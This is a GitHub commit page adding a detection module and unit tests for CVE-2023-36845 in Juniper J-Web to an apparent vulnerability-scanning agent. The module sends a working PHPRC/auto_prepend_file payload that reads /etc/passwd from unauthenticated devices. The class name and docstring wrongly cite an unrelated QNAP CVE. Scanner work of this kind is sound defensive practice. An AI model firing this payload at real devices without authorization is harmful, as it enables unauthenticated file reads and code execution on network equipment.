Skip to content

Commit

Permalink
Merge pull request #19 from Ostorlab/exploit/CVE-2023-36845
Browse files Browse the repository at this point in the history
  • Loading branch information
BlueSquare1 authored Nov 27, 2023
2 parents ffed029 + 1a82c72 commit 252bb88
Show file tree
Hide file tree
Showing 3 changed files with 162 additions and 0 deletions.
1 change: 1 addition & 0 deletions agent/definitions.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@ class Target:
scheme: str
host: str
port: int
path: str = "/"


@dataclasses.dataclass
Expand Down
103 changes: 103 additions & 0 deletions agent/exploits/cve_2023_36845.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,103 @@
"""Agent Asteroid implementation for CVE-2023–36845"""
import re

import requests
from ostorlab.agent.kb import kb
from ostorlab.agent.mixins import agent_report_vulnerability_mixin
from requests import exceptions as requests_exceptions

from agent import definitions
from agent import exploits_registry

VULNERABILITY_TITLE = "Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability"
VULNERABILITY_REFERENCE = "CVE-2023–36845"
VULNERABILITY_DESCRIPTION = (
"A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS "
"on EX Series and SRX Series allows an unauthenticated, network-based attacker to remotely execute code. "
"Using a crafted request which sets the variable PHPRC an attacker is able to modify the PHP execution environment "
"allowing the injection und execution of code. This issue affects Juniper Networks Junos OS on EX Series and SRX "
"Series: "
"* All versions prior to 20.4R3-S9; "
"* 21.1 versions 21.1R1 and later; "
"* 21.2 versions prior to 21.2R3-S7; "
"* 21.3 versions prior to 21.3R3-S5; "
"* 21.4 versions prior to 21.4R3-S5; * 22.1 versions prior to 22.1R3-S4; "
"* 22.2 versions prior to 22.2R3-S2; "
"* 22.3 versions prior to 22.3R2-S2, 22.3R3-S1; "
"* 22.4 versions prior to 22.4R2-S1, 22.4R3; "
"* 23.2 versions prior to 23.2R1-S1, 23.2R2."
)

DEFAULT_TIMEOUT = 90
JUNIPER_KEYWORD = "Juniper"
PASSWD_PATTERN = re.compile("root:.*:0:0:")
PAYLOAD = {
"auto_prepend_file": (None, "/etc/passwd\n"),
"PHPRC": (None, "/dev/fd/0"),
}


@exploits_registry.register
class CVE20197193Exploit(definitions.Exploit):
"""
CVE-2023–36845: QNAP QTS Improper Input Validation Vulnerability
"""

def accept(self, target: definitions.Target) -> bool:
target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}"
try:
resp = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
return resp.status_code == 200 and JUNIPER_KEYWORD in resp.text

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}"

try:
resp = requests.post(
target_uri, files=PAYLOAD, verify=False, timeout=DEFAULT_TIMEOUT
)
except requests_exceptions.RequestException:
return []

if PASSWD_PATTERN.search(resp.text) is None:
return []

vulnerability = self._create_vulnerability(target_uri)
return [vulnerability]

def _create_vulnerability(self, target_uri: str) -> definitions.Vulnerability:
entry = kb.Entry(
title=VULNERABILITY_TITLE,
risk_rating="CRITICAL",
short_description=VULNERABILITY_DESCRIPTION,
description=VULNERABILITY_DESCRIPTION,
references={
"nvd.nist.gov": f"https://nvd.nist.gov/vuln/detail/{VULNERABILITY_REFERENCE}",
"supportportal.juniper.net": "https://supportportal.juniper.net/s/article/"
"2023-08-Out-of-Cycle-Security-Bulletin-Junos-"
"OS-SRX-Series-and-EX-Series-Multiple-vulnerabilities-"
"in-J-Web-can-be-combined-to-allow-a-preAuth-Remote-Code-Execution",
},
recommendation=(
"- Make sure to install the latest security patches from software vendor \n"
"- Update to the latest software version"
),
security_issue=True,
privacy_issue=False,
has_public_exploit=True,
targeted_by_malware=True,
targeted_by_ransomware=True,
targeted_by_nation_state=True,
)
technical_detail = (
f"{target_uri} is vulnerable to {VULNERABILITY_REFERENCE}, "
f"{VULNERABILITY_TITLE}"
)
vulnerability = definitions.Vulnerability(
entry=entry,
technical_detail=technical_detail,
risk_rating=agent_report_vulnerability_mixin.RiskRating.CRITICAL,
)
return vulnerability
58 changes: 58 additions & 0 deletions tests/exploits/cve_2023_36845_test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
"""Unit tests for CVE-2023-36845"""
import requests_mock as req_mock
from agent.exploits import cve_2023_36845
from agent import definitions


def testCVE202336845_whenVulnerable_reportFinding(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""Unit test for CVE-2023-36845, case when target is vulnerable."""
target = definitions.Target(scheme="http", host="127.0.0.1", port=8080)
exploit_instance = cve_2023_36845.CVE20197193Exploit()
requests_mock.post(
"http://127.0.0.1:8080/",
content=b"""root:*:0:0:Charlie &:/root:/bin/csh
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/sbin/nologin
ext:*:39:39:External applications:/:/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin
33768:*:100:20::/var/home/33768:/usr/sbin/cli
jforce:*:2000:20::/var/home/jforce:/usr/sbin/cli
jmay:*:2001:20::/var/home/jmay:/usr/sbin/cli
<html>page();</html>""",
)

vulnerabilities = exploit_instance.check(target)
vulnerability = vulnerabilities[0]

assert (
vulnerability.entry.title
== "Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability"
)
assert vulnerability.technical_detail == (
"http://127.0.0.1:8080/ is vulnerable to CVE-2023–36845, Juniper Junos OS "
"EX Series and SRX Series PHP External Variable Modification Vulnerability"
)
assert vulnerability.risk_rating.name == "CRITICAL"


def testCVE202336845_whenSafe_reportNothing(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""Unit test for CVE-2023-36845, case when target is safe."""
target = definitions.Target(scheme="http", host="127.0.0.1", port=8080)
exploit_instance = cve_2023_36845.CVE20197193Exploit()
requests_mock.post(
"http://127.0.0.1:8080/",
content=b"JUNIPER VPN LOGIN",
)

vulnerabilities = exploit_instance.check(target)

assert len(vulnerabilities) == 0

0 comments on commit 252bb88

Please sign in to comment.